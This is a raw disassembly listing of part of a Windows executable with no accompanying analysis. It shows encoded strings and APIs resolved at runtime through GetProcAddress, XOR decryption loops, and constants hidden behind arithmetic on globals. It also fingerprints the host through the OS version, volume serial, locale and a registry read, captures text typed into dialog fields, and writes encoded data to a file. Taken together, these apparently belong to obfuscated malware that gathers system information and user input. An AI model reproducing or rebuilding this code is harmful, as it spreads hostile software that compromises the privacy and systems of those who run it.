		push	eax
		push	dword_44A298
		call	ds:dword_4461F8	; GetProcAddress
		mov	ds:dword_446A2C, eax
		push	offset dword_44AE60
		call	sub_43C507
		push	eax
		push	dword_44A298
		call	ds:dword_4461F8	; GetProcAddress
		mov	ds:dword_44964C, eax
		push	offset word_44AE56
		call	sub_43C507
		push	eax
		push	dword_44A298
		call	ds:dword_4461F8	; GetProcAddress
		mov	ds:dword_448638, eax
		push	offset dword_44AE4C
		call	sub_43C507
		push	eax
		push	dword_44A298
		call	ds:dword_4461F8	; GetProcAddress
		mov	ds:dword_448644, eax
		push	offset dword_44AE44
		call	sub_43C507
		push	eax
		push	dword_44A298
		call	ds:dword_4461F8	; GetProcAddress
		mov	ds:dword_449BAC, eax
		push	offset byte_44AE3B
		call	sub_43C507
		push	eax
		push	dword_44A298
		call	ds:dword_4461F8	; GetProcAddress
		mov	ds:dword_449600, eax
		push	offset byte_44AE31
		call	sub_43C507
		push	eax
		push	dword_44A298
		call	ds:dword_4461F8	; GetProcAddress
		mov	ds:dword_444020, eax
		push	offset word_44AE26
		call	sub_43C507
		push	eax
		push	dword_44A298
		call	ds:dword_4461F8	; GetProcAddress
		mov	ds:dword_449634, eax
		push	offset word_44AE1A
		call	sub_43C507
		push	eax
		push	dword_44A298
		call	ds:dword_4461F8	; GetProcAddress
		mov	ds:dword_44724C, eax
		push	offset dword_44AE10
		call	sub_43C507
		add	esp, 38h
		push	eax
		push	dword_44A298
		call	ds:dword_4461F8	; GetProcAddress
		mov	ds:dword_4461F4, eax
		pop	edi
		retn
sub_43EF62	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43F122	proc near		; CODE XREF: sub_43EC0A+25Ap

var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	eax, [ebp+arg_0]
		mov	esi, [eax+3Ch]
		mov	ecx, esi
		add	ecx, eax
		mov	eax, [ecx+28h]
		mov	edx, [ebp+arg_0]
		lea	esi, [eax+edx+0Dh]
		movzx	eax, byte ptr [esi]
		xor	eax, 4Dh
		mov	[ebp+var_1], al
		movzx	eax, byte ptr [esi+1]
		mov	edx, dword_44A18C
		add	edx, 200h
		mov	ebx, eax
		imul	ebx, edx
		mov	eax, dword_44A0EC
		mov	ecx, eax
		add	ecx, dword_44A09C
		sub	ecx, 7
		jmp	short loc_43F17A
; ---------------------------------------------------------------------------


loc_43F16C:				; CODE XREF: sub_43F122+5Aj
		movzx	eax, byte ptr [esi+ecx]
		movzx	edx, [ebp+var_1]
		xor	eax, edx
		mov	[esi+ecx], al
		inc	ecx


loc_43F17A:				; CODE XREF: sub_43F122+48j
		cmp	ecx, ebx
		jb	short loc_43F16C
		mov	eax, [ebp+arg_4]
		mov	[eax], ebx
		mov	eax, esi
		pop	esi
		pop	ebx
		leave
		retn
sub_43F122	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43F189	proc near		; CODE XREF: sub_439B7B+ABp

var_1AC		= dword	ptr -1ACh
var_1A8		= byte ptr -1A8h
var_1A4		= dword	ptr -1A4h
var_1A0		= dword	ptr -1A0h
var_19C		= byte ptr -19Ch
var_198		= dword	ptr -198h
var_193		= dword	ptr -193h
var_18F		= dword	ptr -18Fh
var_18B		= dword	ptr -18Bh
var_187		= dword	ptr -187h
var_183		= dword	ptr -183h
var_FF		= byte ptr -0FFh
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1ACh
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	byte ptr [edi],	0
		mov	[ebp+var_193], 94h
		lea	eax, [ebp+var_193]
		push	eax
		call	ds:dword_449B98	; GetVersionExA
		cmp	[ebp+var_183], 1
		jnz	short loc_43F1CF
		push	offset word_44AE0A
		call	sub_43C507
		push	eax
		push	edi
		call	ds:dword_444020
		add	esp, 0Ch


loc_43F1CF:				; CODE XREF: sub_43F189+2Fj
		cmp	[ebp+var_183], 2
		jnz	short loc_43F1ED
		push	offset dword_44AE04
		call	sub_43C507
		push	eax
		push	edi
		call	ds:dword_449634
		add	esp, 0Ch


loc_43F1ED:				; CODE XREF: sub_43F189+4Dj
		push	offset dword_44ADF8
		call	sub_43C507
		push	[ebp+var_187]
		push	[ebp+var_18B]
		push	[ebp+var_18F]
		push	eax
		lea	esi, [ebp+var_FF]
		push	esi
		call	ds:dword_449634
		lea	eax, [ebp+var_FF]
		push	eax
		push	edi
		call	ds:dword_444020
		push	offset byte_44ADF1
		call	sub_43C507
		mov	esi, dword_44A244
		sub	esi, 4
		push	esi
		push	0
		lea	esi, [ebp+var_19C]
		push	esi
		lea	esi, [ebp+var_19C]
		push	esi
		lea	esi, [ebp+var_198]
		push	esi
		push	0FFh
		lea	esi, [ebp+var_FF]
		push	esi
		push	eax
		call	ds:dword_449614	; GetVolumeInformationA
		push	offset byte_44ADE9
		call	sub_43C507
		push	[ebp+var_198]
		push	eax
		lea	esi, [ebp+var_FF]
		push	esi
		call	ds:dword_449634
		lea	eax, [ebp+var_FF]
		push	eax
		push	edi
		call	ds:dword_444020
		push	0FFh
		lea	eax, [ebp+var_FF]
		push	eax
		movsx	eax, word_44A24C
		movsx	edx, word_44A1E0
		add	eax, edx
		sub	eax, 9
		push	eax
		push	400h
		call	ds:dword_4465F8	; GetLocaleInfoA
		lea	eax, [ebp+var_FF]
		push	eax
		push	edi
		call	ds:dword_444020
		push	offset dword_44ADE4
		call	sub_43C507
		push	eax
		push	edi
		call	ds:dword_444020
		mov	[ebp+var_1A0], 0FFh
		push	offset byte_44ADB7
		call	sub_43C507
		mov	[ebp+var_1AC], eax
		push	offset asc_44ADAA ; "\t"
		call	sub_43C507
		lea	esi, [ebp+var_1A8]
		push	esi
		lea	esi, [ebp+var_1A0]
		push	esi
		lea	esi, [ebp+var_FF]
		push	esi
		push	eax
		mov	esi, [ebp+var_1AC]
		push	esi
		push	80000002h
		call	sub_43C3CE
		add	esp, 70h
		mov	[ebp+var_1A4], eax
		mov	eax, dword_44A15C
		sub	eax, 8
		cmp	[ebp+var_1A4], eax
		jnz	short loc_43F34F
		lea	eax, [ebp+var_FF]
		push	eax
		push	edi
		call	ds:dword_444020
		add	esp, 8


loc_43F34F:				; CODE XREF: sub_43F189+1B3j
		pop	edi
		pop	esi
		leave
		retn
sub_43F189	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43F353	proc near		; CODE XREF: sub_439B7B+C7p
					; sub_43AF47+3D1p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		mov	esi, dword_44A1D4
		sub	esi, 2
		jmp	short loc_43F39B
; ---------------------------------------------------------------------------


loc_43F367:				; CODE XREF: sub_43F353+4Bj
		call	ds:dword_449BAC
		movsx	edi, word_44A22C
		mov	edx, dword_44A214
		lea	edi, [edi+edx+51h]
		mov	edx, 10624DD3h
		push	ecx
		mov	ecx, eax
		imul	edx
		sar	edx, 7
		sar	ecx, 1Fh
		sub	edx, ecx
		mov	eax, edx
		pop	ecx
		add	edi, eax
		mov	edx, edi
		mov	[ebx+esi], dl
		inc	esi


loc_43F39B:				; CODE XREF: sub_43F353+12j
		cmp	esi, [ebp+arg_4]
		jl	short loc_43F367
		mov	eax, [ebp+arg_4]
		mov	edx, dword_44A190
		sub	edx, 2
		mov	[ebx+eax], dl
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_43F353	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43F3B6	proc near		; DATA XREF: sub_439B7B+85o
					; sub_439B7B+90o

var_118		= dword	ptr -118h
var_114		= dword	ptr -114h
var_110		= byte ptr -110h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 118h
		push	ebx
		push	esi
		push	edi
		movsx	eax, word_44A1F0
		sub	eax, 3
		mov	edx, [ebp+arg_0]
		cmp	byte ptr [edx+eax], 4Bh
		jnz	short loc_43F3E8
		push	offset dword_4460F0
		lea	eax, [ebp+var_110]
		push	eax
		call	sub_442F8C
		jmp	short loc_43F3F9
; ---------------------------------------------------------------------------


loc_43F3E8:				; CODE XREF: sub_43F3B6+1Dj
		push	offset dword_447260
		lea	eax, [ebp+var_110]
		push	eax
		call	sub_442F8C


loc_43F3F9:				; CODE XREF: sub_43F3B6+30j
		push	0
		movsx	eax, word_44A160
		dec	eax
		push	eax
		push	4
		push	0
		mov	eax, dword_44A18C
		movsx	edx, word_44A240
		add	eax, edx
		sub	eax, 2
		push	eax
		push	40000000h
		lea	eax, [ebp+var_110]
		push	eax
		call	ds:dword_449788	; CreateFileA
		mov	[ebp+var_8], eax
		push	2
		push	0
		mov	eax, dword_44A1A0
		add	eax, dword_44A210
		sub	eax, 4
		push	eax
		push	[ebp+var_8]
		call	ds:dword_449B9C	; SetFilePointer
		push	offset word_44ADA2
		call	sub_43C507
		pop	ecx
		push	0
		lea	edx, [ebp+var_C]
		push	edx
		movsx	edx, word_44A0B0
		movsx	ecx, word_44A1B4
		add	edx, ecx
		sub	edx, 7
		push	edx
		push	eax
		push	[ebp+var_8]
		call	ds:dword_449B8C	; WriteFile
		push	493E0h
		push	40h
		call	ds:dword_446A34	; LocalAlloc
		mov	ebx, eax
		push	61A80h
		push	40h
		call	ds:dword_446A34	; LocalAlloc
		mov	esi, eax
		mov	eax, dword_44A1BC
		sub	eax, 9
		mov	edx, [ebp+arg_0]
		cmp	byte ptr [edx+eax], 4Bh
		jnz	short loc_43F4B6
		mov	eax, [ebp+arg_0]
		inc	eax
		push	eax
		push	ebx
		call	sub_442F8C
		jmp	short loc_43F4BF
; ---------------------------------------------------------------------------


loc_43F4B6:				; CODE XREF: sub_43F3B6+F1j
		push	[ebp+arg_0]
		push	ebx
		call	sub_442F8C


loc_43F4BF:				; CODE XREF: sub_43F3B6+FEj
		mov	ecx, ebx
		or	eax, 0FFFFFFFFh


loc_43F4C4:				; CODE XREF: sub_43F3B6+113j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43F4C4
		mov	[ebp+var_4], eax
		mov	edi, dword_44A28C
		sub	edi, 6
		jmp	short loc_43F4FF
; ---------------------------------------------------------------------------


loc_43F4D9:				; CODE XREF: sub_43F3B6+14Cj
		movzx	eax, byte ptr [ebx+edi]
		mov	[ebp+var_114], eax
		mov	eax, edi
		mul	edi
		mov	[ebp+var_118], eax
		mov	eax, [ebp+var_114]
		mov	edx, [ebp+var_118]
		add	eax, edx
		mov	[ebx+edi], al
		inc	edi


loc_43F4FF:				; CODE XREF: sub_43F3B6+121j
		cmp	edi, [ebp+var_4]
		jb	short loc_43F4D9
		mov	eax, dword_44A0C4
		add	eax, 61A79h
		push	eax
		push	esi
		push	[ebp+var_4]
		push	ebx
		call	sub_43AE20
		add	esp, 10h
		movsx	eax, word_44A260
		mov	edi, eax
		add	edi, dword_44A224
		sub	edi, 7
		jmp	short loc_43F545
; ---------------------------------------------------------------------------


loc_43F530:				; CODE XREF: sub_43F3B6+19Dj
		cmp	byte ptr [esi+edi], 2Bh
		jnz	short loc_43F53A
		mov	byte ptr [esi+edi], 28h


loc_43F53A:				; CODE XREF: sub_43F3B6+17Ej
		cmp	byte ptr [esi+edi], 3Dh
		jnz	short loc_43F544
		mov	byte ptr [esi+edi], 29h


loc_43F544:				; CODE XREF: sub_43F3B6+188j
		inc	edi


loc_43F545:				; CODE XREF: sub_43F3B6+178j
		mov	ecx, esi
		or	eax, 0FFFFFFFFh


loc_43F54A:				; CODE XREF: sub_43F3B6+199j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43F54A
		cmp	edi, eax
		jb	short loc_43F530
		mov	eax, dword_44A12C
		sub	eax, 8
		mov	edx, [ebp+arg_0]
		cmp	byte ptr [edx+eax], 4Bh
		jnz	short loc_43F596
		push	offset byte_44AD9D
		call	sub_43C507
		add	esp, 4
		push	0
		lea	edi, [ebp+var_C]
		push	edi
		mov	edi, dword_44A244
		movsx	edx, word_44A0B0
		add	edi, edx
		sub	edi, 0Ah
		push	edi
		push	eax
		push	[ebp+var_8]
		call	ds:dword_449B8C	; WriteFile


loc_43F596:				; CODE XREF: sub_43F3B6+1AEj
		mov	ecx, esi
		or	eax, 0FFFFFFFFh


loc_43F59B:				; CODE XREF: sub_43F3B6+1EAj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43F59B
		push	0
		lea	edx, [ebp+var_C]
		push	edx
		mov	edx, dword_44A110
		add	edx, dword_44A238
		sub	edx, 4
		mov	edi, eax
		add	edi, edx
		push	edi
		push	esi
		push	[ebp+var_8]
		call	ds:dword_449B8C	; WriteFile
		push	[ebp+var_8]
		call	ds:dword_448654	; CloseHandle
		push	ebx
		call	ds:dword_44661C	; LocalFree
		push	esi
		call	ds:dword_44661C	; LocalFree
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43F3B6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43F5E2	proc near		; CODE XREF: sub_439B69+2p
					; sub_439B69+9p

var_104		= byte ptr -104h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	edi
		lea	eax, [ebp+var_104]
		push	eax
		mov	eax, dword_44A1D0
		sub	eax, 7
		push	eax
		push	0
		push	[ebp+arg_0]
		push	0
		call	ds:dword_446A44
		mov	edi, eax
		or	edi, edi
		jnz	short loc_43F63A
		push	offset dword_44AD98
		call	sub_43C507
		push	eax
		lea	edi, [ebp+var_104]
		push	edi
		call	ds:dword_444020
		push	1
		push	43h
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_43D357
		add	esp, 18h


loc_43F63A:				; CODE XREF: sub_43F5E2+2Bj
		pop	edi
		leave
		retn
sub_43F5E2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43F63D	proc near		; CODE XREF: sub_439857+FCp
					; sub_43D6B1+17Ap ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	ebx
		push	esi
		push	edi
		mov	eax, dword_44A26C
		movsx	edx, word_44A118
		mov	esi, eax
		add	esi, edx
		sub	esi, 0Ch
		lea	eax, [ebp+var_4]
		push	eax
		push	offset dword_44BA38
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ebx, [eax]
		call	dword ptr ds:0[ebx]
		mov	edi, eax
		mov	eax, dword_44A1D4
		sub	eax, 2
		cmp	edi, eax
		jz	short loc_43F680
		xor	eax, eax
		jmp	short loc_43F6DE
; ---------------------------------------------------------------------------


loc_43F680:				; CODE XREF: sub_43F63D+3Dj
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+arg_8]
		mov	eax, [ebp+var_4]
		push	eax
		mov	ebx, [eax]
		call	dword ptr [ebx+10h]
		mov	edi, eax
		mov	eax, dword_44A0B8
		sub	eax, 3
		cmp	edi, eax
		jnz	short loc_43F6D3
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		mov	eax, [ebp+var_8]
		push	eax
		mov	ebx, [eax]
		call	dword ptr [ebx+14h]
		mov	edi, eax
		mov	eax, dword_44A1CC
		add	eax, dword_44A284
		sub	eax, 0Fh
		cmp	edi, eax
		jnz	short loc_43F6CA
		mov	esi, dword_44A244
		sub	esi, 3


loc_43F6CA:				; CODE XREF: sub_43F63D+82j
		mov	eax, [ebp+var_8]
		push	eax
		mov	ebx, [eax]
		call	dword ptr [ebx+8]


loc_43F6D3:				; CODE XREF: sub_43F63D+5Fj
		mov	eax, [ebp+var_4]
		push	eax
		mov	ebx, [eax]
		call	dword ptr [ebx+8]
		mov	eax, esi


loc_43F6DE:				; CODE XREF: sub_43F63D+41j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43F63D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43F6E3	proc near		; CODE XREF: sub_43DB8B+463p
					; sub_43DB8B+47Fp

var_FFF		= byte ptr -0FFFh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_442F6C
		push	ebx
		push	esi
		push	edi
		push	5
		push	[ebp+arg_0]
		call	ds:dword_444004	; GetWindow
		mov	edi, eax


loc_43F700:				; CODE XREF: sub_43F6E3+7Dj
		or	edi, edi
		jnz	short loc_43F708
		xor	eax, eax
		jmp	short loc_43F762
; ---------------------------------------------------------------------------


loc_43F708:				; CODE XREF: sub_43F6E3+1Fj
		push	0FFFh
		lea	eax, [ebp+var_FFF]
		push	eax
		push	edi
		call	ds:dword_445010	; GetClassNameA
		movsx	eax, word_44A144
		sub	eax, 5
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+var_FFF]
		push	eax
		call	sub_4384B5
		add	esp, 0Ch
		movsx	esi, word_44A124
		movsx	ebx, word_44A170
		lea	esi, [esi+ebx+0FFF7h]
		cmp	eax, esi
		jz	short loc_43F755
		mov	eax, edi
		jmp	short loc_43F762
; ---------------------------------------------------------------------------


loc_43F755:				; CODE XREF: sub_43F6E3+6Cj
		push	2
		push	edi
		call	ds:dword_444004	; GetWindow
		mov	edi, eax
		jmp	short loc_43F700
; ---------------------------------------------------------------------------


loc_43F762:				; CODE XREF: sub_43F6E3+23j
					; sub_43F6E3+70j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43F6E3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43F767	proc near		; CODE XREF: sub_43858C+209p
					; sub_43858C+220p ...

var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		cmp	dword_44A290, 0
		jnz	short loc_43F78F
		push	offset dword_449BC0
		call	ds:dword_445008	; InitializeCriticalSection
		mov	dword_44A290, 1


loc_43F78F:				; CODE XREF: sub_43F767+11j
		mov	esi, dword_44A1D8
		sub	esi, 3
		movzx	ebx, byte ptr [edi]
		movzx	edx, byte ptr [edi+2]
		movzx	edx, dx
		shl	edx, 8
		or	ebx, edx
		movzx	ebx, bx
		movsx	edx, word_44A0BC
		sub	edx, 7
		imul	ebx, edx
		add	esi, ebx
		mov	[ebp+var_4], si
		movzx	eax, [ebp+var_4]
		mov	edx, dword_44A0AC
		add	edx, 5
		cmp	eax, edx
		jz	loc_43F852
		push	offset dword_449BC0
		call	ds:dword_449660	; RtlEnterCriticalSection
		mov	eax, dword_44A110
		inc	eax
		mov	[ebp+var_2], ax
		jmp	short loc_43F80D
; ---------------------------------------------------------------------------


loc_43F7E9:				; CODE XREF: sub_43F767+B0j
		movzx	eax, [ebp+var_2]
		add	eax, edi
		movsx	edx, byte ptr [eax]
		movsx	ecx, byte ptr [edi+4]
		xor	edx, ecx
		mov	[eax], dl
		movzx	eax, [ebp+var_2]
		mov	edx, dword_44A09C
		sub	edx, 3
		add	eax, edx
		mov	[ebp+var_2], ax


loc_43F80D:				; CODE XREF: sub_43F767+80j
		movzx	eax, [ebp+var_2]
		movzx	edx, [ebp+var_4]
		cmp	eax, edx
		jl	short loc_43F7E9
		mov	eax, dword_44A1F8
		sub	eax, 3
		mov	edx, dword_44A258
		sub	edx, 2
		mov	[edi+eax], dl
		mov	eax, dword_44A21C
		add	eax, dword_44A114
		sub	eax, 0Eh
		mov	edx, dword_44A128
		sub	edx, 9
		mov	[edi+eax], dl
		push	offset dword_449BC0
		call	ds:dword_448650	; RtlLeaveCriticalSection


loc_43F852:				; CODE XREF: sub_43F767+65j
		lea	eax, [edi+6]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43F767	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43F85A	proc near		; CODE XREF: sub_43B982+24p
					; sub_43D8DE+25p ...

var_10C		= dword	ptr -10Ch
var_108		= byte ptr -108h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10Ch
		push	edi
		mov	edi, [ebp+arg_0]
		push	104h
		lea	eax, [ebp+var_108]
		push	eax
		call	ds:dword_446600	; GetSystemDirectoryA
		mov	eax, dword_44A14C
		movsx	edx, word_44A264
		sub	edx, 9
		mov	byte ptr [ebp+eax+var_10C+1], dl
		push	104h
		lea	eax, [ebp+var_108]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	104h
		lea	eax, [ebp+var_108]
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		call	ds:dword_449614	; GetVolumeInformationA
		push	offset dword_44AD90
		call	sub_43C507
		push	[ebp+var_10C]
		push	eax
		push	edi
		call	ds:dword_449634
		add	esp, 10h
		mov	eax, dword_44A1D0
		add	eax, dword_44A184
		sub	eax, 9
		mov	[ebp+var_4], eax
		jmp	short loc_43F920
; ---------------------------------------------------------------------------


loc_43F8F1:				; CODE XREF: sub_43F85A+D3j
		mov	eax, [ebp+var_4]
		mov	al, [edi+eax]
		cmp	al, 30h
		jl	short loc_43F907
		cmp	al, 39h
		jg	short loc_43F907
		mov	eax, [ebp+var_4]
		add	eax, edi
		add	byte ptr [eax],	31h


loc_43F907:				; CODE XREF: sub_43F85A+9Fj
					; sub_43F85A+A3j
		mov	eax, [ebp+var_4]
		mov	al, [edi+eax]
		cmp	al, 41h
		jl	short loc_43F91D
		cmp	al, 5Ah
		jg	short loc_43F91D
		mov	eax, [ebp+var_4]
		add	eax, edi
		add	byte ptr [eax],	20h


loc_43F91D:				; CODE XREF: sub_43F85A+B5j
					; sub_43F85A+B9j
		inc	[ebp+var_4]


loc_43F920:				; CODE XREF: sub_43F85A+95j
		movsx	eax, word_44A1F0
		add	eax, 5
		cmp	[ebp+var_4], eax
		jb	short loc_43F8F1
		pop	edi
		leave
		retn
sub_43F85A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43F932	proc near		; CODE XREF: sub_43AE20+3Cp
					; sub_43AE20+C4p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		movzx	ebx, byte ptr [eax]
		movsx	eax, word_44A0BC
		mov	edx, dword_44A234
		lea	eax, [eax+edx+0F3h]
		imul	ebx, eax
		mov	eax, [ebp+arg_0]
		movzx	eax, byte ptr [eax+1]
		add	ebx, eax
		movsx	eax, word_44A218
		add	eax, 0FBh
		imul	ebx, eax
		mov	eax, [ebp+arg_0]
		movzx	eax, byte ptr [eax+2]
		add	ebx, eax
		mov	eax, dword_44A280
		movsx	edx, word_44A1B4
		mov	esi, eax
		add	esi, edx
		sub	esi, 8
		jmp	short loc_43F9DD
; ---------------------------------------------------------------------------


loc_43F98C:				; CODE XREF: sub_43F932+B5j
		movsx	edi, word_44A208
		add	edi, dword_44A224
		sub	edi, 7
		sub	edi, esi
		mov	edx, [ebp+arg_4]
		mov	[ebp+var_4], edx
		mov	edx, ebx
		and	edx, 8000003Fh
		jge	short loc_43F9B3
		dec	edx
		or	edx, 0FFFFFFC0h
		inc	edx


loc_43F9B3:				; CODE XREF: sub_43F932+7Aj
		mov	ecx, off_44A2BC
		mov	dl, [ecx+edx]
		mov	ecx, [ebp+var_4]
		mov	[ecx+edi], dl
		mov	eax, ebx
		mov	edi, dword_44A17C
		add	edi, 34h
		mov	ecx, edi
		add	ecx, dword_44A0F4
		cdq
		idiv	ecx
		mov	ebx, eax
		add	esi, 1


loc_43F9DD:				; CODE XREF: sub_43F932+58j
		movsx	eax, word_44A208
		dec	eax
		cmp	esi, eax
		jl	short loc_43F98C
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43F932	endp


; =============== S U B	R O U T	I N E =======================================



sub_43F9EE	proc near		; DATA XREF: .data:0044A364o
		mov	eax, 80004001h
		retn	10h
sub_43F9EE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43F9F6	proc near		; DATA XREF: sub_43DB8B+F04o
					; sub_43DB8B+F54o ...

var_230		= dword	ptr -230h
var_22C		= dword	ptr -22Ch
var_228		= dword	ptr -228h
var_224		= dword	ptr -224h
var_220		= dword	ptr -220h
var_219		= byte ptr -219h
var_218		= dword	ptr -218h
var_214		= dword	ptr -214h
var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_208		= dword	ptr -208h
var_204		= byte ptr -204h
var_10E		= byte ptr -10Eh
var_108		= byte ptr -108h
var_105		= byte ptr -105h
var_104		= byte ptr -104h
var_103		= byte ptr -103h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 230h
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	eax, ebx
		cmp	eax, 100h
		jz	short loc_43FA27
		jl	loc_43FF65
		cmp	eax, 111h
		jz	loc_43FAB8
		jmp	loc_43FF65
; ---------------------------------------------------------------------------


loc_43FA27:				; CODE XREF: sub_43F9F6+19j
		cmp	[ebp+arg_8], 9
		jnz	loc_43FF65
		mov	edi, dword_44A15C
		sub	edi, 9
		jmp	short loc_43FAA7
; ---------------------------------------------------------------------------


loc_43FA3C:				; CODE XREF: sub_43F9F6+BBj
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_208], eax
		cmp	ds:dword_447380[eax], esi
		jnz	short loc_43FA71
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_20C], eax
		push	ds:dword_447384[eax]
		call	ds:dword_446A40	; SetFocus
		jmp	loc_43FF65
; ---------------------------------------------------------------------------


loc_43FA71:				; CODE XREF: sub_43F9F6+5Aj
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_20C], eax
		cmp	ds:dword_447384[eax], esi
		jnz	short loc_43FAA6
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_210], eax
		push	ds:dword_447388[eax]
		call	ds:dword_446A40	; SetFocus
		jmp	loc_43FF65
; ---------------------------------------------------------------------------


loc_43FAA6:				; CODE XREF: sub_43F9F6+8Fj
		inc	edi


loc_43FAA7:				; CODE XREF: sub_43F9F6+44j
		mov	eax, dword_44A258
		add	eax, 62h
		cmp	edi, eax
		jb	short loc_43FA3C
		jmp	loc_43FF65
; ---------------------------------------------------------------------------


loc_43FAB8:				; CODE XREF: sub_43F9F6+26j
		mov	eax, dword_44A134
		mov	edi, eax
		add	edi, dword_44A224
		sub	edi, 0Dh
		jmp	short loc_43FAE4
; ---------------------------------------------------------------------------


loc_43FACA:				; CODE XREF: sub_43F9F6+101j
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_208], eax
		mov	eax, ds:dword_44738C[eax]
		cmp	[ebp+arg_C], eax
		jz	short loc_43FAF9
		inc	edi


loc_43FAE4:				; CODE XREF: sub_43F9F6+D2j
		movsx	eax, word_44A264
		mov	edx, dword_44A288
		lea	eax, [eax+edx+55h]
		cmp	edi, eax
		jb	short loc_43FACA


loc_43FAF9:				; CODE XREF: sub_43F9F6+EBj
		mov	eax, dword_44A258
		add	eax, 5Eh
		movsx	edx, word_44A180
		add	eax, edx
		cmp	edi, eax
		jz	loc_43FF65
		push	0FFh
		lea	eax, [ebp+var_103]
		push	eax
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_20C], eax
		push	ds:dword_447378[eax]
		call	ds:dword_449BA4	; GetWindowTextA
		movsx	eax, word_44A124
		mov	byte ptr [ebp+eax+var_20C+2], 4Bh
		mov	eax, dword_44A0F8
		mov	edx, dword_44A21C
		sub	edx, 8
		mov	byte ptr [ebp+eax+var_20C+2], dl
		lea	eax, [ebp+var_103]
		push	eax
		lea	eax, [ebp+var_204]
		push	eax
		call	ds:dword_444020
		add	esp, 8
		push	0FFh
		lea	eax, [ebp+var_103]
		push	eax
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_210], eax
		push	ds:dword_447380[eax]
		call	ds:dword_449BA4	; GetWindowTextA
		mov	eax, dword_44A0F8
		add	eax, dword_44A268
		movsx	eax, [ebp+eax+var_10E]
		cmp	eax, dword_44A248
		jnz	short loc_43FBF9
		push	offset byte_44AD6D
		call	sub_43C507
		pop	ecx
		mov	edx, dword_44A18C
		add	edx, dword_44A09C
		sub	edx, 5
		push	edx
		push	0
		push	eax
		push	0
		call	ds:dword_449644	; MessageBoxA
		mov	eax, 30h
		mul	edi
		mov	[ebp+var_214], eax
		push	ds:dword_447380[eax]
		call	ds:dword_446A40	; SetFocus
		jmp	loc_43FF65
; ---------------------------------------------------------------------------


loc_43FBF9:				; CODE XREF: sub_43F9F6+1BCj
		push	offset dword_44AD68
		call	sub_43C507
		push	eax
		lea	edx, [ebp+var_204]
		push	edx
		call	ds:dword_444020
		lea	eax, [ebp+var_103]
		push	eax
		lea	eax, [ebp+var_204]
		push	eax
